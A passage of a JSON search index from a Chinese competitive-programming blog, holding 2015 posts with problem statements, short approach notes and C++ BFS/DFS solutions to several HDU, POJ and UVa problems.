2015年07月25日 星期六 18时54分24秒 7 ************************************************************************/ 8 9 #include\u003ciostream\u003e 10 #include\u003ciomanip\u003e 11 #include\u003ccstdio\u003e 12 #include\u003calgorithm\u003e 13 #include\u003ccmath\u003e 14 #include\u003ccstring\u003e 15 #include\u003cstring\u003e 16 #include\u003cmap\u003e 17 #include\u003cset\u003e 18 #include\u003cqueue\u003e 19 #include\u003cvector\u003e 20 #include\u003cstack\u003e 21 #define y0 abc111qqz 22 #define y1 hust111qqz 23 #define yn hez111qqz 24 #define j1 cute111qqz 25 #define tm crazy111qqz 26 #define lr dying111qqz 27 using namespace std; 28 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 29 typedef long long LL; 30 typedef unsigned long long ULL; 31 int n,m,p,q; 32 int main() 33 { 34 int T; 35 cin\u003e\u003eT; 36 int ans = 0; 37 while (T--) 38 { 39 // scanf(\"%d %d %d %d\",\u0026n,\u0026m,\u0026p,\u0026q); 40 scanf(\"%d %d %d %d\",\u0026n,\u0026m,\u0026p,\u0026q); 41 ans = n*p; 42 ans = min(ans,n/m*q+n%m*p); 43 ans = min(ans,((n-1)/m+1)*q); 44 printf(\"%d\\n\",ans); 45 } 46 47 return 0; 48 }","tags":["算法竞赛"],"title":"(BC 一周年)hdu 5310  Souvenir","type":"post"},{"categories":["ACM"],"content":"“… so forward this to ten other people, to prove that you believe the emperor has 题意是说发短信,每个人只会给一个人发,问从哪个人开始发,能传到的人最多 思路是每个人开始做一遍dfs… 毫无意外的TLE了 一个容易想到的剪枝是,如果在第i次之前的路径上的点,在之后以它作为起点遍历一定不优. 我们可以用一个数组vis标记上(注意不要和为了dfs的标记数组vis2混淆,vis2标记的主要作用是判断是否成环) sad,看来还是要提高自己的搜索姿势啊…. 1 2 3 4 /************************************************************************* 5 \u003e File Name: code/2015summer/sea#2/B.cpp 6 \u003e Author: 111qqz 7 \u003e Email: rkz2013@126.com 8 \u003e Created Time: 2015年07月28日 星期二 14时59分16秒 9 ************************************************************************/ 10 11 #include\u003ciostream\u003e 12 #include\u003ciomanip\u003e 13 #include\u003ccstdio\u003e 14 #include\u003calgorithm\u003e 15 #include\u003ccmath\u003e 16 #include\u003ccstring\u003e 17 #include\u003cstring\u003e 18 #include\u003cmap\u003e 19 #include\u003cset\u003e 20 #include\u003cqueue\u003e 21 #include\u003cvector\u003e 22 #include\u003cstack\u003e 23 #define y0 abc111qqz 24 #define y1 hust111qqz 25 #define yn hez111qqz 26 #define j1 cute111qqz 27 #define tm crazy111qqz 28 #define lr dying111qqz 29 using namespace std; 30 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 31 typedef long long LL; 32 typedef unsigned long long ULL; 33 const int N=5E4+7; 34 int a[N]; 35 bool vis[N],vis2[N]; 36 int u,v,n; 37 int dfs(int x) 38 { 39 int res=0; 40 vis2[x]=true; 41 int tmp = a[x]; 42 if (!vis2[tmp]) 43 { 44 res = dfs(tmp)+1; //当前这个认能传的长度=他传的人能传的长度+1 45 } 46 vis[x] = true; 47 vis2[x] = false; 48 return res; 49 50 51 52 53 } 54 int main() 55 { 56 int T; 57 cin\u003e\u003eT; 58 int cas = 0; 59 while (T--) 60 { 61 memset(vis,false,sizeof(vis)); 62 cas++; 63 scanf(\"%d\",\u0026n); 64 for ( int i = 0 ; i \u003c n; i++ ) 65 { 66 scanf(\"%d %d\",\u0026u,\u0026v); 67 a[u]=v; 68 } 69 int mx = - 1; 70 int ans; 71 for ( int i = 1 ; i \u003c= n ; i++) 72 { 73 // memset(vis2,false,sizeof(vis2)); 74 if (vis[i]) continue; //如果在上一次的dfs中经过了i,那么从i开始传播一定是之前标记i的那次开始传播的子链,一定不优. 75 int tmp = dfs(i); 76 ","date":"2015-07-28","externalUrl":null,"permalink":"/2015/07/uva12442/","section":"Posts","summary":"“… so forward this to ten other people, to prove that you believe the emperor has 题意是说发短信,每个人只会给一个人发,问从哪个人开始发,能传到的人最多","tags":["dfs"],"title":"uva 12442 . Forwarding Emails","type":"post"},{"categories":["ACM"],"content":"http://acm.hust.edu.cn/vjudge/contest/view.action?cid=83084#problem/I I - Fire Game **Time Limit:**1000MS **Memory Limit:**32768KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Description Fat brother and Maze are playing a kind of special (hentai) game on an N*M board (N rows, M columns). At the beginning, each grid of this board is consisting of grass or just empty and then they start to fire all the grass. Firstly they choose two grids which are consisting of grass and set fire. As we all know, the fire can spread among the grass. If the grid (x, y) is firing at time t, the grid which is adjacent to this grid will fire at time t+1 which refers to the grid (x+1, y), (x-1, y), (x, y+1), (x, y-1). This process ends when no new grid get fire. If then all the grid which are consisting of grass is get fired, Fat brother and Maze will stand in the middle of the grid and playing a MORE special (hentai) game. (Maybe it’s the OOXX game which decrypted in the last problem, who knows.) You can assume that the grass in the board would never burn out and the empty grid would never get fire. Note that the two grids they choose can be the same. Input The first line of the date is an integer T, which is the number of the text cases. Then T cases follow, each case contains two integers N and M indicate the size of the board. Then goes N line, each line with M character shows the board. “#” Indicates the grass. You can assume that there is at least one grid which is consisting of grass in the board. 1 \u003c= T \u003c=100, 1 \u003c= n \u003c=10, 1 \u003c= m \u003c=10 Output For each case, output the case number first, if they can play the MORE special (hentai) game (fire all the grass), output the minimal time they need to wait after they set fire, otherwise just output -1. See the sample input and output for more de","date":"2015-07-27","externalUrl":null,"permalink":"/2015/07/i-firegamebfs/","section":"Posts","summary":"http://acm.hust.edu.cn/vjudge/contest/view.action?cid=83084#problem/I I - Fire Game **Time Limit:**1000MS **Memory Limit:**32768KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Description Fat brother and Maze are playing a kind of special (hentai) game on an N*M board (N rows, M columns). At the beginning, each grid of this board is consisting of grass or just empty and then they start to fire all the grass. Firstly they choose two grids which are consisting of grass and set fire. As we all know, the fire can spread among the grass. If the grid (x, y) is firing at time t, the grid which is adjacent to this grid will fire at time t+1 which refers to the grid (x+1, y), (x-1, y), (x, y+1), (x, y-1). This process ends when no new grid get fire. If then all the grid which are consisting of grass is get fired, Fat brother and Maze will stand in the middle of the grid and playing a MORE special (hentai) game. (Maybe it’s the OOXX game which decrypted in the last problem, who knows.)","tags":["bfs"],"title":"I - Fire Game  (两个点开始的bfs)","type":"post"},{"categories":["ACM"],"content":"好爽,一遍ac 1 2 3 /************************************************************************* 4 \u003e File Name: code/2015summer/searching/H.cpp 5 \u003e Author: 111qqz 6 \u003e Email: rkz2013@126.com 7 \u003e Created Time: 2015年07月27日 星期一 09时11分28秒 8 ************************************************************************/ 9 10 #include\u003ciostream\u003e 11 #include\u003ciomanip\u003e 12 #include\u003ccstdio\u003e 13 #include\u003calgorithm\u003e 14 #include\u003ccmath\u003e 15 #include\u003ccstring\u003e 16 #include\u003cstring\u003e 17 #include\u003cmap\u003e 18 #include\u003cset\u003e 19 #include\u003cqueue\u003e 20 #include\u003cvector\u003e 21 #include\u003cstack\u003e 22 #define y0 abc111qqz 23 #define y1 hust111qqz 24 #define yn hez111qqz 25 #define j1 cute111qqz 26 #define tm crazy111qqz 27 #define lr dying111qqz 28 using namespace std; 29 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 30 typedef long long LL; 31 typedef unsigned long long ULL; 32 const int N=1E2+5; 33 int A,B,C; 34 int d[N][N]; 35 bool flag; 36 struct node 37 { 38 int d,opt,par,prea,preb; 39 }q[N][N]; 40 41 void print(int x,int y) 42 { 43 // cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\"y:\"\u003c\u003cy\u003c\u003cendl; 44 if (q[x][y].prea!=-1\u0026\u0026q[x][y].preb!=-1) 45 { 46 // cout\u003c\u003c\"who is 111qqz\"\u003c\u003cendl; 47 print(q[x][y].prea,q[x][y].preb); 48 if (q[x][y].opt==1){ 49 printf(\"FILL(%d)\\n\",q[x][y].par); 50 } 51 if (q[x][y].opt==2) 52 { 53 printf(\"DROP(%d)\\n\",q[x][y].par); 54 } 55 if (q[x][y].opt==3) 56 { 57 printf(\"POUR(%d,%d)\\n\",q[x][y].par,3-q[x][y].par); 58 } 59 } 60 61 } 62 void bfs() 63 { 64 memset(q,-1,sizeof(q)); 65 queue\u003cint\u003ea; 66 queue\u003cint\u003eb; 67 a.push(0); 68 b.push(0); 69 q[0][0].d=0; 70 while (!a.empty()\u0026\u0026!b.empty()) 71 { 72 int av = a.front();a.pop(); 73 int bv = b.front();b.pop(); 74 // cout\u003c\u003c\"av:\"\u003c\u003cav\u003c\u003c\"bv:\"\u003c\u003cbv\u003c\u003cendl; 75 if (av==C||bv==C) 76 { 77 flag = true; 78 //cout\u003c\u003c\"yeah~~~~~~~~~~~~~~~\"\u003c\u003cendl; 79 cout\u003c\u003cq[av][bv].d\u003c\u003cendl; 80 // cout\u003c\u003c\"prea:\"\u003c\u003cq[av][bv].prea\u003c\u003c\"preb:\"\u003c\u003cq[a","date":"2015-07-27","externalUrl":null,"permalink":"/2015/07/poj3414/","section":"Posts","summary":"好爽,一遍ac 1 2 3 /************************************************************************* 4 \u003e File Name: code/2015summer/searching/H.cpp 5 \u003e Author: 111qqz 6 \u003e Email: rkz2013@126.com 7 \u003e Created Time: 2015年07月27日 星期一 09时11分28秒 8 ************************************************************************/ 9 10 #include\u003ciostream\u003e 11 #include\u003ciomanip\u003e 12 #include\u003ccstdio\u003e 13 #include\u003calgorithm\u003e 14 #include\u003ccmath\u003e 15 #include\u003ccstring\u003e 16 #include\u003cstring\u003e 17 #include\u003cmap\u003e 18 #include\u003cset\u003e 19 #include\u003cqueue\u003e 20 #include\u003cvector\u003e 21 #include\u003cstack\u003e 22 #define y0 abc111qqz 23 #define y1 hust111qqz 24 #define yn hez111qqz 25 #define j1 cute111qqz 26 #define tm crazy111qqz 27 #define lr dying111qqz 28 using namespace std; 29 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 30 typedef long long LL; 31 typedef unsigned long long ULL; 32 const int N=1E2+5; 33 int A,B,C; 34 int d[N][N]; 35 bool flag; 36 struct node 37 { 38 int d,opt,par,prea,preb; 39 }q[N][N]; 40 41 void print(int x,int y) 42 { 43 // cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\"y:\"\u003c\u003cy\u003c\u003cendl; 44 if (q[x][y].prea!=-1\u0026\u0026q[x][y].preb!=-1) 45 { 46 // cout\u003c\u003c\"who is 111qqz\"\u003c\u003cendl; 47 print(q[x][y].prea,q[x][y].preb); 48 if (q[x][y].opt==1){ 49 printf(\"FILL(%d)\\n\",q[x][y].par); 50 } 51 if (q[x][y].opt==2) 52 { 53 printf(\"DROP(%d)\\n\",q[x][y].par); 54 } 55 if (q[x][y].opt==3) 56 { 57 printf(\"POUR(%d,%d)\\n\",q[x][y].par,3-q[x][y].par); 58 } 59 } 60 61 } 62 void bfs() 63 { 64 memset(q,-1,sizeof(q)); 65 queue\u003cint\u003ea; 66 queue\u003cint\u003eb; 67 a.push(0); 68 b.push(0); 69 q[0][0].d=0; 70 while (!a.empty()\u0026\u0026!b.empty()) 71 { 72 int av = a.front();a.pop(); 73 int bv = b.front();b.pop(); 74 // cout\u003c\u003c\"av:\"\u003c\u003cav\u003c\u003c\"bv:\"\u003c\u003cbv\u003c\u003cendl; 75 if (av==C||bv==C) 76 { 77 flag = true; 78 //cout\u003c\u003c\"yeah~~~~~~~~~~~~~~~\"\u003c\u003cendl; 79 cout\u003c\u003cq[av][bv].d\u003c\u003cendl; 80 // cout\u003c\u003c\"prea:\"\u003c\u003cq[av][bv].prea\u003c\u003c\"preb:\"\u003c\u003cq[av][bv].preb\u003c\u003cendl; 81 print(av,bv); 82 return; 83 } 84 if (av\u003cA\u0026\u0026q[A][bv].d==-1) 85 { 86 q[A][bv].d=q[av][bv].d+1; 87 q[A][bv].opt=1; 88 q[A][bv].par=1; 89 q[A][bv].prea=av; 90 q[A][bv].preb=bv; 91 a.push(A); 92 b.push(bv); 93 } 94 if (av\u003e0\u0026\u0026q[0][bv].d==-1) 95 { 96 q[0][bv].d=q[av][bv].d+1; 97 q[0][bv].opt=2; 98 q[0][bv].par=1; 99 q[0][bv].prea=av; 100 q[0][bv].preb=bv; 101 a.push(0); 102 b.push(bv); 103 104 } 105 if (bv\u003cB\u0026\u0026q[av][B].d==-1) 106 { 107 q[av][B].d=q[av][bv].d+1; 108 q[av][B].opt=1; 109 q[av][B].par=2; 110 q[av][B].prea = av; 111 q[av][B].preb = bv; 112 a.push(av); 113 b.push(B); 114 115 } 116 if (bv\u003e0\u0026\u0026q[av][0].d==-1) 117 { 118 q[av][0].d=q[av][bv].d+1; 119 q[av][0].opt=2; 120 q[av][0].par=2; 121 q[av][0].prea=av; 122 q[av][0].preb=bv; 123 a.push(av); 124 b.push(0); 125 } 126 127 if (av+bv\u003c=B\u0026\u0026q[0][av+bv].d==-1) 128 { 129 q[0][av+bv].d=q[av][bv].d+1; 130 q[0][av+bv].opt=3; 131 q[0][av+bv].par=1; 132 q[0][av+bv].prea=av; 133 q[0][av+bv].preb=bv; 134 a.push(0); 135 b.push(av+bv); 136 } 137 if (av+bv\u003eB\u0026\u0026q[av-(B-bv)][B].d==-1) //把1往2里倒入的两种情况 138 { 139 140 int tmp = av-(B-bv); 141 q[tmp][B].d=q[av][bv].d+1; 142 q[tmp][B].opt=3; 143 q[tmp][B].par=1; 144 q[tmp][B].prea=av; 145 q[tmp][B].preb=bv; 146 a.push(tmp); 147 b.push(B); 148 } 149 150 if (bv+av\u003c=A\u0026\u0026q[av+bv][0].d==-1) 151 { 152 q[av+bv][0].d=q[av][bv].d+1; 153 q[av+bv][0].opt=3; 154 q[av+bv][0].par=2; 155 q[av+bv][0].prea=av; 156 q[av+bv][0].preb=bv; 157 a.push(av+bv); 158 b.push(0); 159 } 160 if (bv+av\u003eA\u0026\u0026q[A][bv-(A-av)].d==-1) 161 { 162 int tmp = bv-(A-av); 163 q[A][tmp].d=q[av][bv].d+1; 164 q[A][tmp].opt=3; 165 q[A][tmp].par=2; 166 q[A][tmp].prea=av; 167 q[A][tmp].preb=bv; 168 a.push(A); 169 b.push(tmp); 170 } 171 } 172 } 173 int main() 174 { 175 176 flag = false; 177 cin\u003e\u003eA\u003e\u003eB\u003e\u003eC; 178 bfs(); 179 if (!flag) 180 { 181 cout\u003c\u003c\"impossible\"\u003c\u003cendl; 182 } 183 184 185 return 0; 186 }","tags":["bfs","路径记录"],"title":"poj 3414 pots (bfs+路径记录)","type":"post"},{"categories":["ACM"],"content":"非常可乐 # **Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 7194 Accepted Submission(s): 2865 ** Problem Description 大家一定觉的运动以后喝可乐是一件很惬意的事情，但是seeyou却不这么认为。因为每次当seeyou买了可乐以后，阿牛就要求和seeyou一起分享这一瓶可乐，而且一定要喝的和seeyou一样多。但seeyou的手中只有两个杯子，它们的容量分别是N 毫升和M 毫升 可乐的体积为S （S\u003c101）毫升　(正好装满一瓶) ，它们三个之间可以相互倒可乐 (都是没有刻度的，且 S==N+M，101＞S＞0，N＞0，M＞0) 。聪明的ACMER你们说他们能平分吗？如果能请输出倒可乐的最少的次数，如果不能输出\"NO\"。 Input 三个整数 : S 可乐的体积 , N 和 M是两个杯子的容量，以\"0 0 0\"结束。 Output 如果能平分的话请输出最少要倒的次数，否则输出\"NO\"。 Sample Input 7 4 3 4 1 3 0 0 0 Sample Output NO 3 平分可乐,不能剩. 奇数的话直接no 偶数的话bfs 妈蛋写了140+行,简直令人感动. 然后一直WA 郁闷了好久,结果今天一看,竟然已经A了… 是测评傲娇了嘛2333 1 2 3 4 /************************************************************************* 5 \u003e File Name: code/2015summer/searching/M.cpp 6 \u003e Author: 111qqz 7 \u003e Email: rkz2013@126.com 8 \u003e Created Time: 2015年07月25日 星期六 15时54分19秒 9 ************************************************************************/ 10 11 #include\u003ciostream\u003e 12 #include\u003ciomanip\u003e 13 #include\u003ccstdio\u003e 14 #include\u003calgorithm\u003e 15 #include\u003ccmath\u003e 16 #include\u003ccstring\u003e 17 #include\u003cstring\u003e 18 #include\u003cmap\u003e 19 #include\u003cset\u003e 20 #include\u003cqueue\u003e 21 #include\u003cvector\u003e 22 #include\u003cstack\u003e 23 #define y0 abc111qqz 24 #define y1 hust111qqz 25 #define yn hez111qqz 26 #define j1 cute111qqz 27 #define tm crazy111qqz 28 #define lr dying111qqz 29 using namespace std; 30 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 31 typedef long long LL; 32 typedef unsigned long long ULL; 33 const int N=1E2+2; 34 int s,m,n; 35 int a[10]; 36 int lim[10]; 37 int f[5][5]; 38 int d[N][N][N]; 39 int ans; 40 void bfs() 41 { 42 queue\u003cint\u003eq[10]; 43 memset(d,-1,sizeof(d)); 44 q[0].push(s); 45 q[1].push(0); 46 q[2].push(0); 47 d[s][0][0]=0; 48 int ne[4]; 49 memset(ne,0,sizeof(ne)); 50 while (!q[1].empty()\u0026\u0026!q[2].empty()) 51 { 52 in","date":"2015-07-26","externalUrl":null,"permalink":"/2015/07/hdoj1495/","section":"Posts","summary":"非常可乐 # **Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 7194 Accepted Submission(s): 2865 **","tags":["bfs"],"title":"hdoj 1495 非常可乐(bfs)","type":"post"},{"categories":["ACM"],"content":"Oil Deposits # **Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 17683 Accepted Submission(s): 10172 ** Problem Description The GeoSurvComp geologic survey company is responsible for detecting underground oil deposits. GeoSurvComp works with one large rectangular region of land at a time, and creates a grid that divides the land into numerous square plots. It then analyzes each plot separately, using sensing equipment to determine whether or not the plot contains oil. A plot containing oil is called a pocket. If two pockets are adjacent, then they are part of the same oil deposit. Oil deposits can be quite large and may contain numerous pockets. Your job is to determine how many different oil deposits are contained in a grid. Input The input file contains one or more grids. Each grid begins with a line containing m and n, the number of rows and columns in the grid, separated by a single space. If m = 0 it signals the end of the input; otherwise 1 \u003c= m \u003c= 100 and 1 \u003c= n \u003c= 100. Following this are m lines of n characters each (not counting the end-of-line characters). Each character corresponds to one plot, and is either *', representing the absence of oil, or @’, representing an oil pocket. Output For each grid, output the number of distinct oil deposits. Two different pockets are part of the same oil deposit if they are adjacent horizontally, vertically, or diagonally. An oil deposit will not contain more than 100 pockets. Sample Input 1 1 * 3 5 @@* @ @@* 1 8 @@***@ 5 5 ****@ @@@ @**@ @@@@ @@**@ 0 0 Sample Output 0 1 2 2 因为题目中要求求出所有的解,所有很容易想到dfs 枚举grid,当遇到一个油田的时候,就dfs把与他相邻的都标记上. 一遍ac 1 2 3 /************************************************************************* 4 \u003e File Name: code/2015summer/searching/L.cpp 5 \u003e Aut","date":"2015-07-25","externalUrl":null,"permalink":"/2015/07/hdoj-1241/","section":"Posts","summary":"Oil Deposits # **Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 17683 Accepted Submission(s): 10172 **","tags":["dfs"],"title":"hdoj 1241 Oil Deposits  (dfs)","type":"post"},{"categories":["ACM"],"content":"Find a way # ****Time Limit: 3000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 6221 Accepted Submission(s): 2070 ** ** Problem Description Pass a year learning in Hangzhou, yifenfei arrival hometown Ningbo at finally. Leave Ningbo one year, yifenfei have many people to meet. Especially a good friend Merceki. Yifenfei’s home is at the countryside, but Merceki’s home is in the center of city. So yifenfei made arrangements with Merceki to meet at a KFC. There are many KFC in Ningbo, they want to choose one that let the total time to it be most smallest. Now give you a Ningbo map, Both yifenfei and Merceki can move up, down ,left, right to the adjacent road by cost 11 minutes. ** ** Input The input contains multiple test cases. Each test case include, first two integers n, m. (2\u003c=n,m\u003c=200). Next n lines, each line included m character. ‘Y’ express yifenfei initial position. ‘M’ express Merceki initial position. ‘#’ forbid road; ‘.’ Road. ‘@’ KCF ** ** Output For each test case output the minimum total time that both yifenfei and Merceki to arrival one of KFC.You may sure there is always have a KFC that can let them meet. ** ** Sample Input 4 4 Y.#@ …. .#.. @..M 4 4 Y.#@ …. .#.. @#.M 5 5 Y..@. .#… .#… @..M. #…# ** ** Sample Output 66 88 66 ** ** Author yifenfei ** ** Source 奋斗的年代 一开始写成了让对没个肯德基店做一次bfs,会TLE 之后发现然对两个人分别做一次bfs就行 只是遇到肯德基店的 时候,因为不能确定这个是否是做优的,所以不return,继续搜下去. 1 2 3 4 /************************************************************************* 5 \u003e File Name: code/2015summer/searching/N.cpp 6 \u003e Author: 111qqz 7 \u003e Email: rkz2013@126.com 8 \u003e Created Time: 2015年07月25日 星期六 13时54分49秒 9 ************************************************************************/ 10 11 #include\u003ciostream\u003e 12 #include\u003ciomanip\u003e 13 #include\u003ccstdio\u003e 14 #include","date":"2015-07-25","externalUrl":null,"permalink":"/2015/07/hdoj2612/","section":"Posts","summary":"Find a way # ****Time Limit: 3000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 6221 Accepted Submission(s): 2070 **","tags":["bfs"],"title":"hdoj 2612 find a way (两次bfs)","type":"post"},{"categories":["ACM"],"content":"迷宫问题 1 2 3 4 /************************************************************************* 5 \u003e File Name: code/2015summer/searching/KK.cpp 6 \u003e Author: 111qqz 7 \u003e Email: rkz2013@126.com 8 \u003e Created Time: 2015年07月25日 星期六 13时33分00秒 9 ************************************************************************/ 10 11 #include\u003ciostream\u003e 12 #include\u003ciomanip\u003e 13 #include\u003ccstdio\u003e 14 #include\u003calgorithm\u003e 15 #include\u003ccmath\u003e 16 #include\u003ccstring\u003e 17 #include\u003cstring\u003e 18 #include\u003cmap\u003e 19 #include\u003cset\u003e 20 #include\u003cqueue\u003e 21 #include\u003cvector\u003e 22 #include\u003cstack\u003e 23 #define y0 abc111qqz 24 #define y1 hust111qqz 25 #define yn hez111qqz 26 #define j1 cute111qqz 27 #define tm crazy111qqz 28 #define lr dying111qqz 29 using namespace std; 30 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 31 typedef long long LL; 32 typedef unsigned long long ULL; 33 int a[10][10]; 34 int head = 0; 35 int tail = 1; 36 int dirx[2]={1,0}; 37 int diry[2]={0,1}; 38 struct node 39 { 40 int x,y,pre; 41 }q[10]; 42 43 void print(int x) 44 { 45 if (q[x].pre!=-1) 46 { 47 print(q[x].pre); 48 printf(\"(%d, %d)\\n\",q[x].x,q[x].y); 49 } 50 } 51 void bfs() 52 { 53 q[head].x=0; 54 q[head].y=0; 55 q[head].pre=-1; 56 while (head\u003ctail) 57 { 58 if (q[head].x==4\u0026\u0026q[head].y==4) 59 { 60 print(head); 61 return; 62 } 63 for (int i = 0 ; i \u003c 2 ; i++ ) 64 { 65 int newx=dirx[i]+q[head].x; 66 int newy=diry[i]+q[head].y; 67 if (newx\u003e=0\u0026\u0026newx\u003c5\u0026\u0026newy\u003e=0\u0026\u0026newy\u003c5\u0026\u0026a[newx][newy]==0) 68 { 69 q[tail].x=newx; 70 q[tail].y=newy; 71 q[tail].pre=head; 72 tail++; 73 } 74 } 75 head++; 76 } 77 78 } 79 int main() 80 { 81 for ( int i = 0 ; i \u003c 5 ; i++ ) 82 { 83 for ( int j = 0 ; j \u003c 5; j++) 84 { 85 cin\u003e\u003ea[i][j]; 86 } 87 } 88 printf(\"(0, 0)\\n\"); 89 bfs(); 90 91 return 0; 92 }","date":"2015-07-25","externalUrl":null,"permalink":"/2015/07/poj3984/","section":"Posts","summary":"迷宫问题 1 2 3 4 /************************************************************************* 5 \u003e File Name: code/2015summer/searching/KK.cpp 6 \u003e Author: 111qqz 7 \u003e Email: rkz2013@126.com 8 \u003e Created Time: 2015年07月25日 星期六 13时33分00秒 9 ************************************************************************/ 10 11 #include\u003ciostream\u003e 12 #include\u003ciomanip\u003e 13 #include\u003ccstdio\u003e 14 #include\u003calgorithm\u003e 15 #include\u003ccmath\u003e 16 #include\u003ccstring\u003e 17 #include\u003cstring\u003e 18 #include\u003cmap\u003e 19 #include\u003cset\u003e 20 #include\u003cqueue\u003e 21 #include\u003cvector\u003e 22 #include\u003cstack\u003e 23 #define y0 abc111qqz 24 #define y1 hust111qqz 25 #define yn hez111qqz 26 #define j1 cute111qqz 27 #define tm crazy111qqz 28 #define lr dying111qqz 29 using namespace std; 30 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 31 typedef long long LL; 32 typedef unsigned long long ULL; 33 int a[10][10]; 34 int head = 0; 35 int tail = 1; 36 int dirx[2]={1,0}; 37 int diry[2]={0,1}; 38 struct node 39 { 40 int x,y,pre; 41 }q[10]; 42 43 void print(int x) 44 { 45 if (q[x].pre!=-1) 46 { 47 print(q[x].pre); 48 printf(\"(%d, %d)\\n\",q[x].x,q[x].y); 49 } 50 } 51 void bfs() 52 { 53 q[head].x=0; 54 q[head].y=0; 55 q[head].pre=-1; 56 while (head\u003ctail) 57 { 58 if (q[head].x==4\u0026\u0026q[head].y==4) 59 { 60 print(head); 61 return; 62 } 63 for (int i = 0 ; i \u003c 2 ; i++ ) 64 { 65 int newx=dirx[i]+q[head].x; 66 int newy=diry[i]+q[head].y; 67 if (newx\u003e=0\u0026\u0026newx\u003c5\u0026\u0026newy\u003e=0\u0026\u0026newy\u003c5\u0026\u0026a[newx][newy]==0) 68 { 69 q[tail].x=newx; 70 q[tail].y=newy; 71 q[tail].pre=head; 72 tail++; 73 } 74 } 75 head++; 76 } 77 78 } 79 int main() 80 { 81 for ( int i = 0 ; i \u003c 5 ; i++ ) 82 { 83 for ( int j = 0 ; j \u003c 5; j++) 84 { 85 cin\u003e\u003ea[i][j]; 86 } 87 } 88 printf(\"(0, 0)\\n\"); 89 bfs(); 90 91 return 0; 92 }","tags":["bfs","路径记录"],"title":"poj 3984 迷宫问题","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=3087 用bfs写的，但是其实就是个模拟啊喂！ 只有一种操作，何谈最短？　一直往下写就行了． 有一点疑惑，就是map的初始值 比如我定义的　map\u003cstring,int\u003ed;它的初始的value是什么？随机值？０？还是什么，百度了下，没找到，求指教． 1 2 #include\u003ciostream\u003e 3 #include\u003ciomanip\u003e 4 #include\u003ccstdio\u003e 5 #include\u003calgorithm\u003e 6 #include\u003ccmath\u003e 7 #include\u003ccstring\u003e 8 #include\u003cstring\u003e 9 #include\u003cmap\u003e 10 #include\u003cset\u003e 11 #include\u003cqueue\u003e 12 #include\u003cvector\u003e 13 #include\u003cstack\u003e 14 #define y0 abc111qqz 15 #define y1 hust111qqz 16 #define yn hez111qqz 17 #define j1 cute111qqz 18 #define tm crazy111qqz 19 #define lr dying111qqz 20 using namespace std; 21 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 22 typedef long long LL; 23 typedef unsigned long long ULL; 24 map\u003cstring,int\u003ed; 25 string st1,st2,tar; 26 int n; 27 bool flag; 28 string add(string a,string b) 29 { 30 string res=\"\"; 31 int len = a.length(); 32 for ( int i = 0 ; i \u003c len ; i++ ) 33 { 34 res+=b[i]; 35 res+=a[i]; 36 } 37 return res; 38 } 39 void bfs() 40 { 41 queue\u003cstring\u003eq; 42 string str=add(st1,st2); 43 q.push(str); 44 d[str]=1; 45 while (!q.empty()) 46 { 47 string pst = q.front(); 48 q.pop(); 49 if (pst==tar) 50 { 51 flag = true; 52 return; 53 } 54 string s1=pst.substr(0,n); 55 string s2=pst.substr(n,n); 56 string tmps = add(s1,s2); 57 if (d[tmps]\u003e0) 58 { 59 flag = false; 60 return; 61 } 62 d[tmps]=d[pst]+1; 63 q.push(tmps); 64 } 65 } 66 int main() 67 { 68 int T; 69 int cas = 0; 70 cin\u003e\u003eT; 71 72 while (T--) 73 { 74 d.clear(); 75 cas++; 76 cin\u003e\u003en; 77 cin\u003e\u003est1\u003e\u003est2\u003e\u003etar; 78 bfs(); 79 if (flag) 80 { 81 cout\u003c\u003ccas\u003c\u003c\" \"\u003c\u003cd[tar]\u003c\u003cendl; 82 } 83 else 84 { 85 cout\u003c\u003ccas\u003c\u003c\" \"\u003c\u003c-1\u003c\u003cendl; 86 } 87 } 88 89 return 0; 90 }","date":"2015-07-24","externalUrl":null,"permalink":"/2015/07/poj3087/","section":"Posts","summary":"http://poj.org/problem?id=3087 用bfs写的，但是其实就是个模拟啊喂！ 只有一种操作，何谈最短？　一直往下写就行了．","tags":["bfs"],"title":"poj 3087 Shuffle'm Up (bfs)","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=3126 题意是说,给定两个四位素数a b 问从a变换到b,最少需要变换几次. 变换的要求是,每次只能改变一个数字,而且中间过程得到的四位数也必须为素数. 因为提到最少变换几次,容易想到bfs,bfs第一次搜到的一定是最短步数. 先打个素数表 然后写个函数判断两个四位数有几位数字不同,如果只有一位,返回true,否则返回false 然后竟然wa了两次! 下表写错! pri[k++]=i;是先给pri[k]赋值,再k++; pri[++k]=i;才是先增加,再赋值.这个搞错了.所以wa了….sad 1 2 /************************************************************************* 3 \u003e File Name: code/poj/3126.cpp 4 \u003e Author: 111qqz 5 \u003e Email: rkz2013@126.com 6 \u003e Created Time: Fri 24 Jul 2015 01:16:23 AM CST 7 ************************************************************************/ 8 9 #include\u003ciostream\u003e 10 #include\u003ciomanip\u003e 11 #include\u003ccstdio\u003e 12 #include\u003calgorithm\u003e 13 #include\u003ccmath\u003e 14 #include\u003ccstring\u003e 15 #include\u003cstring\u003e 16 #include\u003cmap\u003e 17 #include\u003cset\u003e 18 #include\u003cqueue\u003e 19 #include\u003cvector\u003e 20 #include\u003cstack\u003e 21 #define y0 abc111qqz 22 #define y1 hust111qqz 23 #define yn hez111qqz 24 #define j1 cute111qqz 25 #define tm crazy111qqz 26 #define lr dying111qqz 27 using namespace std; 28 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 